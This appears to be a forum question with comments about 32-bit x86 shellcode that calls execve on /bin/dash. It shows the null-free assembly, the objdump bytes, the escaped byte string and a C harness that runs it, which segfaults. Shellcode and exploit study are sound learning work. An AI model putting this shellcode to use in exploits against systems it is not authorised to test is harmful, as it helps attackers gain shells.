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I want to execute execve("/bin/dash", &"/bin/dash", NULL) on Ubuntu 64 bit with the following 32 bit shellcode:

global _start

_start:
    xor eax, eax ; set eax = 0 to push a null without using 0x0
    push eax ; eax = null pointer

    mov edx, esp ; edx = null pointer

    ; push '/bin/dash' into stack
    ; but length of string actually needs to be divisible by 4,
    ; otherwise there will be a 0x00 in the string, so:
    ; push null pointer first, then
    ; push '////bin/dash' into stack
    push eax ; eax = null pointer
    push 0x68736164
    push 0x2f6e6962
    push 0x2f2f2f2f

    mov ebx, esp ; ebx = string pointer '////bin/dash'
    push ebx
    mov ecx, esp ; ecx = pointer to string pointer
    mov eax, 0xfffffff4 
    not eax ; eax = 0xb = pointer to execve
    int 0x80 ; interrupt system call

I compile the assembler code with the following line and then extract the machine code:

$ nasm -felf32 shellcode.asm -o x.o && ld -m elf_i386 x.o -o shellcode
$ objdump -d shellcode -M intel -s
shellcode:     file format elf32-i386

Contents of section .text:
 8048060 31c05089 e2506864 61736868 62696e2f  1.P..Phdashhbin/
 8048070 682f2f2f 2f89e353 89e1b8f4 fffffff7  h////..S........
 8048080 d0cd80                               ..P             

Disassembly of section .text:

08048060 <_start>:
 8048060:   31 c0                   xor    eax,eax
 8048062:   50                      push   eax
 8048063:   89 e2                   mov    edx,esp
 8048065:   50                      push   eax
 8048066:   68 64 61 73 68          push   0x68736164
 804806b:   68 62 69 6e 2f          push   0x2f6e6962
 8048070:   68 2f 2f 2f 2f          push   0x2f2f2f2f
 8048075:   89 e3                   mov    ebx,esp
 8048077:   53                      push   ebx
 8048078:   89 e1                   mov    ecx,esp
 804807a:   b8 f4 ff ff ff          mov    eax,0xfffffff4
 804807f:   f7 d0                   not    eax
 8048081:   cd 80                   int    0x80

Then I'm trying to execute my shellcode with this c file:

#include <stdio.h>
#include <string.h>

char *shellcode = "\x31\xc0\x50\x89\xe2\x50\x68\x64\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x53\x89\xe1\xb8\xf4\xff\xff\xff\xf7\xd0\xcd\x80";

int main()
{
    fprintf(stdout,"Length: %d\n",strlen(shellcode));
    (*(void  (*)()) shellcode)();
}

I compile this file with:

gcc -fno-stack-protector test_shellcode.c -o test_shellcode

But this leads to a segmentation fault. I debugged my shellcode with gdb and it looks like my shellcode is working fine but the first line that uses the register al or ah leads to the segmentation fault.

How can I fix that?

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  • I think is missing the address of your /bin/dash, you are referring to some address that don't exists on your test_shellcode binary, check also the registers (info reg in gdb). However, this question is more appropriate to stackoverflow.com forum or in reverseengineering.stackexchange.com
    – camp0
    May 22, 2019 at 8:46
  • @camp0 what address do you think I am missing? I debugged the shellcode and all registers seemed to be fine. The segmentation fault happens outside of my shellcode
    – winklerrr
    May 22, 2019 at 9:31
  • The same question with an answer can now be found here: x86 shellcode leads to segmentation fault
    – winklerrr
    May 23, 2019 at 20:12

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